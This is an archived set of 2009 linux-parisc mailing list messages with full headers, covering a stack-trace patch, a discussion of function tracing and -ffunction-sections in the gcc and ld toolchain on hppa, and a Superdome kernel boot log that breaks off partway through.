	for glpp-linux-parisc@gmane.org; Fri, 06 Feb 2009 22:33:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752703AbZBFVc2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 6 Feb 2009 16:32:28 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753121AbZBFVc1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 6 Feb 2009 16:32:27 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:58553 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752703AbZBFVc1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 6 Feb 2009 16:32:27 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LVYJE-0008DL-Ii; Fri, 06 Feb 2009 21:32:24 +0000
Content-Disposition: inline
In-Reply-To: <498CA29F.10907@gmx.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1255
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1255>

On Fri, Feb 06, 2009 at 09:50:39PM +0100, Helge Deller wrote:
> +#include <asm/unwind.h>
> +
> +static void dump_trace(struct task_struct *task, struct stack_trace *trace)
> +{
> +	struct unwind_frame_info info;
> +
> +	/* initialize unwind info */
> +	if (task == current) {
> +		unsigned long sp;
> +		struct pt_regs r;
> +HERE:
> +		asm volatile ("copy %%r30, %0" : "=r"(sp));
> +		memset(&r, 0, sizeof(struct pt_regs));
> +		r.iaoq[0] = (unsigned long)&&HERE;
> +		r.gr[2] = (unsigned long)__builtin_return_address(0);
> +		r.gr[30] = sp;
> +		unwind_frame_init(&info, task, &r);
> +	} else {
> +		unwind_frame_init_from_blocked_task(&info, task);
> +	}
> +

applied, with a clean up that takes this to a forced inline to share
between here and traps.c.

cheers, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: FUNCTION_TRACER and parisc kernel
Date: Sat, 07 Feb 2009 02:19:04 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <498CE188.60308@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1233969542 24118 80.91.229.12 (7 Feb 2009 01:19:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 7 Feb 2009 01:19:02 +0000 (UTC)
To: Carlos O'Donell <carlos@systemhalted.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Feb 07 02:20:16 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LVbri-00010p-PQ
	for glpp-linux-parisc@gmane.org; Sat, 07 Feb 2009 02:20:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752093AbZBGBSx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 6 Feb 2009 20:18:53 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752109AbZBGBSx
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 6 Feb 2009 20:18:53 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:40907 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752093AbZBGBSw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 6 Feb 2009 20:18:52 -0500
Original-Received: (qmail invoked by alias); 07 Feb 2009 01:18:49 -0000
Original-Received: from mnhm-590f7361.pool.einsundeins.de (EHLO halden.box) [89.15.115.97]
  by mail.gmx.net (mp052) with SMTP; 07 Feb 2009 02:18:49 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19JZVskbG5JtRdtEETjoEg3HVpxe8prN31vnJ90zP
	O8Kch7ppkCqvfi
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.59
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1256
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1256>

Hi Carlos, Dave & parisc-linux mailing list,

I just started looking into implementing function tracer functionality 
into the parisc kernel (http://cateee.net/lkddb/web-lkddb/FUNCTION_TRACER.html).

While doing so, I noticed that gcc issues lots of warnings like this one:
  CC      arch/parisc/lib/iomap.o
cc1: warning: -ffunction-sections disabled; it makes profiling impossible

So it seems that this statement in arch/parisc/Makefile:
# Without this, "ld -r" results in .text sections that are too big
# (> 0x40000) for branches to reach stubs.
cflags-y        += -ffunction-sections

breaks with the -pg compile option which is needed for function tracing.

Some searching with google brought up this thread:
http://gcc.gnu.org/ml/gcc-help/2008-11/msg00128.html
and esp. this answer:
http://gcc.gnu.org/ml/gcc-help/2008-11/msg00141.html

Or this thread:
http://osdir.com/ml/linux.debian.ports.hppa/2005-06/msg00045.html

Since it's late I felt too tired to look deeply into glibc and gcc myself and
just thought I should ask here: Do you see any chance that -pg and -ffunction-sections
could work together on hppa/linux?

Helge

PS: I assume my latest patches to fix loading of xfs modules only worked
because we compile the kernel with -ffunction-sections by default. Disabling
-ffunction-sections will then probably bring back the module loading bug... :-(
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: FUNCTION_TRACER and parisc kernel
Date: Fri, 6 Feb 2009 22:25:22 -0500 (EST)
Lines: 69
Approved: news@gmane.org
Message-ID: <20090207032523.06F704EF8@hiauly1.hia.nrc.ca>
References: <498CE188.60308@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1233977136 6050 80.91.229.12 (7 Feb 2009 03:25:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 7 Feb 2009 03:25:36 +0000 (UTC)
Cc: carlos@systemhalted.org, linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Feb 07 04:26:49 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LVdqB-00012k-9u
	for glpp-linux-parisc@gmane.org; Sat, 07 Feb 2009 04:26:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753297AbZBGDZZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 6 Feb 2009 22:25:25 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753308AbZBGDZZ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 6 Feb 2009 22:25:25 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2135 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753297AbZBGDZY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 6 Feb 2009 22:25:24 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 06F704EF8; Fri,  6 Feb 2009 22:25:22 -0500 (EST)
In-Reply-To: <498CE188.60308@gmx.de> from "Helge Deller" at Feb 7, 2009 02:19:04 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1257
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1257>

> Hi Carlos, Dave & parisc-linux mailing list,
> 
> I just started looking into implementing function tracer functionality 
> into the parisc kernel (http://cateee.net/lkddb/web-lkddb/FUNCTION_TRACER.html).
> 
> While doing so, I noticed that gcc issues lots of warnings like this one:
>   CC      arch/parisc/lib/iomap.o
> cc1: warning: -ffunction-sections disabled; it makes profiling impossible
> 
> So it seems that this statement in arch/parisc/Makefile:
> # Without this, "ld -r" results in .text sections that are too big
> # (> 0x40000) for branches to reach stubs.
> cflags-y        += -ffunction-sections
> 
> breaks with the -pg compile option which is needed for function tracing.
> 
> Some searching with google brought up this thread:
> http://gcc.gnu.org/ml/gcc-help/2008-11/msg00128.html
> and esp. this answer:
> http://gcc.gnu.org/ml/gcc-help/2008-11/msg00141.html

Hmmm, we killed named section support on the HP-UX SOM port several years
ago because it wasn't very useful.  Jeff did it...  So, at this time, only
Solaris is an issue.  Of course, changing the code in toplev.c affects all
targets.  So, a change to remove this would have to go into 4.5 quite
early.

There was some work on the profiling implementation for both HP-UX and
Linux after the removal of named section support on HP-UX, so the label
issue may not be a problem.  Remove the code disabling function sections
when -pg is specified and see what happens.

[I have thought it would be useful to have named sections for dwarf2
debug support on HP-UX.  However, this is not useful for normal code.
I have a patch somewhere to do this, but gdb needs work which I've
never got around to.  So, I might bring named section support back
in a limited way.]

Regarding .text sections that are too big, see this thread:
http://sourceware.org/ml/binutils/2009-02/msg00061.html

It seems that it should be possible to do more fine grained stub
sections.  At this time, it's not fully clear where the problem
lies.  GCC may need to start a new .text section before each function,
or maybe the .text sections are getting merged.

Recently, I got pushed to look a bit at GNU ld.  It turns out there is no
long branch stub support in it at all.  As a result, it can't assemble
large applications like cc1plus.  It can just barely link cc1.  It
might have trouble with a large linux kernel.  I added a check recently
to generate an error if a branch target is out of range.  There's
a possibility that the current code for stub management in elf32-hppa.c
can be modified for hppa64 without too much work.

I don't know about the "ld -r" problem but I suspect we have to stop
.text sections from getting merged in partial links.  The other possiblity
would be to add long branch stubs for calls to undefined symbols.  The
latter approach would complicate final links.

Regards,
Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:03:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: FUNCTION_TRACER and parisc kernel
Date: Sat, 7 Feb 2009 13:32:01 -0500 (EST)
Lines: 20
Approved: news@gmane.org
Message-ID: <20090207183202.17B8B4E9F@hiauly1.hia.nrc.ca>
References: <20090207032523.06F704EF8@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1234031535 3797 80.91.229.12 (7 Feb 2009 18:32:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 7 Feb 2009 18:32:15 +0000 (UTC)
Cc: deller@gmx.de, carlos@systemhalted.org,
	linux-parisc@vger.kernel.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Feb 07 19:33:30 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LVrzc-0002Vf-S3
	for glpp-linux-parisc@gmane.org; Sat, 07 Feb 2009 19:33:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751149AbZBGScG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 7 Feb 2009 13:32:06 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752242AbZBGScG
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 7 Feb 2009 13:32:06 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3621 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751149AbZBGScF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 7 Feb 2009 13:32:05 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 17B8B4E9F; Sat,  7 Feb 2009 13:32:01 -0500 (EST)
In-Reply-To: <20090207032523.06F704EF8@hiauly1.hia.nrc.ca> from "John David Anglin" at Feb 6, 2009 10:25:22 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1259
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1259>

> > So it seems that this statement in arch/parisc/Makefile:
> > # Without this, "ld -r" results in .text sections that are too big
> > # (> 0x40000) for branches to reach stubs.

This needs some debugging.  hppaelf_after_parse in ld/emultempl/hppaelf.em
is supposed to stop the 32-bit linker from merging .text sections on a
relocatable link.

GCC does not generate .text before each new function.  Even if it did,
gas currently merges all functions to a single .text section.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: FUNCTION_TRACER and parisc kernel
Date: Sat, 07 Feb 2009 20:05:33 +0100
Lines: 79
Approved: news@gmane.org
Message-ID: <498DDB7D.50309@gmx.de>
References: <20090207032523.06F704EF8@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1234033534 9418 80.91.229.12 (7 Feb 2009 19:05:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 7 Feb 2009 19:05:34 +0000 (UTC)
Cc: carlos@systemhalted.org, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Feb 07 20:06:49 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LVsVl-00041b-P9
	for glpp-linux-parisc@gmane.org; Sat, 07 Feb 2009 20:06:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753083AbZBGTFU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 7 Feb 2009 14:05:20 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753113AbZBGTFT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 7 Feb 2009 14:05:19 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:55216 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753083AbZBGTFR (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 7 Feb 2009 14:05:17 -0500
Original-Received: (qmail invoked by alias); 07 Feb 2009 19:05:15 -0000
Original-Received: from mnhm-590e1099.pool.einsundeins.de (EHLO halden.box) [89.14.16.153]
  by mail.gmx.net (mp016) with SMTP; 07 Feb 2009 20:05:15 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+x/DIght6xeG502O5begqTvPBCrcPh2TN0hK9KnL
	AvPTh5YAWRnLat
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
In-Reply-To: <20090207032523.06F704EF8@hiauly1.hia.nrc.ca>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.52
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1260
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1260>

John David Anglin wrote:
>> Hi Carlos, Dave & parisc-linux mailing list,
>>
>> I just started looking into implementing function tracer functionality 
>> into the parisc kernel (http://cateee.net/lkddb/web-lkddb/FUNCTION_TRACER.html).
>>
>> While doing so, I noticed that gcc issues lots of warnings like this one:
>>   CC      arch/parisc/lib/iomap.o
>> cc1: warning: -ffunction-sections disabled; it makes profiling impossible
>>
>> So it seems that this statement in arch/parisc/Makefile:
>> # Without this, "ld -r" results in .text sections that are too big
>> # (> 0x40000) for branches to reach stubs.
>> cflags-y        += -ffunction-sections
>>
>> breaks with the -pg compile option which is needed for function tracing.
>>
>> Some searching with google brought up this thread:
>> http://gcc.gnu.org/ml/gcc-help/2008-11/msg00128.html
>> and esp. this answer:
>> http://gcc.gnu.org/ml/gcc-help/2008-11/msg00141.html
> 
> Hmmm, we killed named section support on the HP-UX SOM port several years
> ago because it wasn't very useful.  Jeff did it...  So, at this time, only
> Solaris is an issue.  Of course, changing the code in toplev.c affects all
> targets.  So, a change to remove this would have to go into 4.5 quite
> early.
> 
> There was some work on the profiling implementation for both HP-UX and
> Linux after the removal of named section support on HP-UX, so the label
> issue may not be a problem.  Remove the code disabling function sections
> when -pg is specified and see what happens.

It does not link when building 32bit or PA20 code.
On 64bit it does build and link, although taking the patch from 
http://sourceware.org/ml/binutils/2009-02/msg00040.html
into account, as well as me running an old ld, it might be that
I just don't see it failing yet...

> [I have thought it would be useful to have named sections for dwarf2
> debug support on HP-UX.  However, this is not useful for normal code.
> I have a patch somewhere to do this, but gdb needs work which I've
> never got around to.  So, I might bring named section support back
> in a limited way.]

Ok. This means it would be possible to drop function-sections.

> Regarding .text sections that are too big, see this thread:
> http://sourceware.org/ml/binutils/2009-02/msg00061.html
> 
> It seems that it should be possible to do more fine grained stub
> sections.  At this time, it's not fully clear where the problem
> lies.  GCC may need to start a new .text section before each function,
> or maybe the .text sections are getting merged.
> 
> Recently, I got pushed to look a bit at GNU ld.  It turns out there is no
> long branch stub support in it at all.  As a result, it can't assemble
> large applications like cc1plus.  It can just barely link cc1.  It
> might have trouble with a large linux kernel.  I added a check recently
> to generate an error if a branch target is out of range.  There's
> a possibility that the current code for stub management in elf32-hppa.c
> can be modified for hppa64 without too much work.

That would be great.

> I don't know about the "ld -r" problem but I suspect we have to stop
> .text sections from getting merged in partial links.  The other possiblity
> would be to add long branch stubs for calls to undefined symbols.  The
> latter approach would complicate final links.

Thanks a lot for those explanations!!!
I see I need to dig in closer into ld/gcc as well too :-(

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tsbogend@alpha.franken.de (Thomas Bogendoerfer)
Newsgroups: gmane.linux.ports.parisc
Subject: Hacking SuperDome
Date: Sat, 7 Feb 2009 15:29:06 +0100
Lines: 332
Approved: news@gmane.org
Message-ID: <20090207142906.GA8553@alpha.franken.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1234066349 16201 80.91.229.12 (8 Feb 2009 04:12:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 8 Feb 2009 04:12:29 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 08 05:13:42 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LW135-0007a4-F5
	for glpp-linux-parisc@gmane.org; Sun, 08 Feb 2009 05:13:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752483AbZBHEMR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 7 Feb 2009 23:12:17 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752604AbZBHEMR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 7 Feb 2009 23:12:17 -0500
Original-Received: from elvis.franken.de ([193.175.24.41]:43658 "EHLO elvis.franken.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752483AbZBHEMP (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 7 Feb 2009 23:12:15 -0500
X-Greylist: delayed 49381 seconds by postgrey-1.27 at vger.kernel.org; Sat, 07 Feb 2009 23:12:14 EST
Original-Received: from uucp (helo=solo.franken.de)
	by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
	id 1LVoBD-0002jE-00
	for linux-parisc@vger.kernel.org; Sat, 07 Feb 2009 15:29:11 +0100
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id A42A6FAABB; Sat,  7 Feb 2009 15:29:06 +0100 (CET)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1261
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1261>

Hi,

thanks to Madze, I've now access to a HP Superdome;-)

I found the first show stopper, which prevents the kernel from
even throwing out the first messages. The narrow firmware detection
hangs. With the quick hack below I'm now able to boot a UP kernel
(SMP hangs when calling init_per_cpu(smp_processor_id()); in setup.c).

The bigger partition produces following boot log:

HARD Booted.
palo ipl 1.14 root@duet Sat Apr  8 16:08:16 EDT 2006

Boot image contains:
    0/vmlinux64 6484269 bytes @ 0xa000

Information: No console specified on kernel command line. This is
normal.
PALO will choose the console currently used by firmware (serial).
Command line for kernel: 'HOME=/ ip=dhcp console=ttyS0 TERM=vt102
palo_kernel=0/vmlinux'
Selected kernel: /vmlinux from partition 0
Warning: kernel name doesn't end with 32 or 64 -- Guessing... Choosing
64-bit kernelELF64 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 4456448 mediaptr 0x1000
Segment 1 load 00588000 size 399072 mediaptr 0x441000
Segment 2 load 005ec000 size 266374 mediaptr 0x4a3000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.6.29-rc3-00000-g33bfad5-dirty (tsbogend@login) (gcc
version 4.2.1) #23 Sat Feb 7 15:16:57 CET 2009
unwind_init: start = 0x404788c0, end = 0x404a53c0, entries = 11440
WARNING: Out of order unwind entry! 000000004047a400 and
000000004047a410
WARNING: Out of order unwind entry! 000000004047a410 and
000000004047a420
FP[0] enabled: Rev 1 Model 19
The 64-bit Kernel has started...
console [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: 64 bit PAT.
model 00005e70 00000491 00000000 00000002 3e0f97abec371bc2 00000000
00000008 000000b2 000000b2
vers  00000202
CPUID vers 19 rev 1 (0x00000261)
capabilities 0x3d
model 9000/800/SD32000
parisc_cache_init: Only equivalent aliasing supported!
Memory Ranges:
 0) Start 0x0000000000000000 End 0x00000007ffffffff Size  32768 MB
 1) Start 0x0000000800000000 End 0x00000009ffffffff Size   8192 MB
 2) Start 0x0000000a00000000 End 0x0000000bffffffff Size   8192 MB
 3) Start 0x0000000c00000000 End 0x0000000df7ffffff Size   8064 MB
Total Memory: 57216 MB
Built 4 zonelists in Zone order, mobility grouping on.  Total pages:
14447040
Kernel command line: HOME=/ ip=dhcp console=ttyS0 TERM=vt102
palo_kernel=0/vmlinux
PID hash table entries: 4096 (order: 12, 32768 bytes)
Dentry cache hash table entries: 8388608 (order: 14, 67108864 bytes)
Inode-cache hash table entries: 4194304 (order: 13, 33554432 bytes)
Memory: 57567696k/58589184k available (2869k kernel code, 1019520k
reserved, 1434k data, 264k init)
virtual kernel memory layout:
    vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
    memory  : 0x0000000040000000 - 0x0000000e38000000   (57216 MB)
      .init : 0x00000000405ec000 - 0x000000004062e000   ( 264 kB)
      .data : 0x00000000403cd650 - 0x0000000040534000   (1434 kB)
      .text : 0x0000000040100000 - 0x00000000403cd650   (2869 kB)
Calibrating delay loop... 1495.04 BogoMIPS (lpj=2990080)
Security Framework initialized
Mount-cache hash table entries: 256
net_namespace: 544 bytes
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Two devices have hardware path [255].  IODC data for second device:
00404e0000abRearranging GSC cards sometimes helps
Two devices have hardware path [255].  IODC data for second device:
00404e0000abRearranging GSC cards sometimes helps
Found devices:
1. Caribe DNA Central Agent at 0xfffffffffc000000 [255] { 14, 0x0,
0x007, 0x000aa }
2. Caribe W2 800 at 0xfffffffffc078000 [10] { 0, 0x0, 0x5e7, 0x00004 }
3. Caribe W2 800 at 0xfffffffffc07a000 [11] { 0, 0x0, 0x5e7, 0x00004 }
4. Caribe W2 800 at 0xfffffffffc07c000 [12] { 0, 0x0, 0x5e7, 0x00004 }
5. Caribe W2 800 at 0xfffffffffc07e000 [13] { 0, 0x0, 0x5e7, 0x00004 }
6. Memory at 0xfffffffffc005000 [5] { 1, 0x0, 0x0a8, 0x00009 }
7. REO I/O BC Merced Port at 0xfffffff808000000 [0] { 7, 0x0, 0x804,
0x0000c }
8. Elroy PCI Bridge at 0xfffffff804000000 [0/0] { 13, 0x0, 0x782,
0x0000a }
9. Elroy PCI Bridge at 0xfffffff804002000 [0/1] { 13, 0x0, 0x782,
0x0000a }
10. Elroy PCI Bridge at 0xfffffff804004000 [0/2] { 13, 0x0, 0x782,
0x0000a }
11. Elroy PCI Bridge at 0xfffffff804006000 [0/3] { 13, 0x0, 0x782,
0x0000a }
12. Elroy PCI Bridge at 0xfffffff804008000 [0/4] { 13, 0x0, 0x782,
0x0000a }
13. Elroy PCI Bridge at 0xfffffff80400c000 [0/6] { 13, 0x0, 0x782,
0x0000a }
14. Elroy PCI Bridge at 0xfffffff804010000 [0/8] { 13, 0x0, 0x782,
0x0000a }
15. Elroy PCI Bridge at 0xfffffff804012000 [0/9] { 13, 0x0, 0x782,
0x0000a }
16. Elroy PCI Bridge at 0xfffffff804014000 [0/10] { 13, 0x0, 0x782,
0x0000a }
17. Elroy PCI Bridge at 0xfffffff804016000 [0/11] { 13, 0x0, 0x782,
0x0000a }
18. Elroy PCI Bridge at 0xfffffff804018000 [0/12] { 13, 0x0, 0x782,
0x0000a }
19. Elroy PCI Bridge at 0xfffffff80401c000 [0/14] { 13, 0x0, 0x782,
0x0000a }
CONFIG_SMP=n  ignoring additional CPUs
CPU: probe of 11 failed with error 1
CONFIG_SMP=n  ignoring additional CPUs
CPU: probe of 12 failed with error 1
CONFIG_SMP=n  ignoring additional CPUs
CPU: probe of 13 failed with error 1
CPU(s): 1 x PA8700 (PCX-W2) at 750.000000 MHz
Setting cache flush threshold to 180000 (1 CPUs online)
SBA found REO rev 2 at 0xfffffff808000000
Elroy version TR4.0 (0x5) found at 0xfffffff804000000
Elroy version TR4.0 (0x5) found at 0xfffffff804002000
Elroy version TR4.0 (0x5) found at 0xfffffff804004000
Elroy version TR4.0 (0x5) found at 0xfffffff804006000
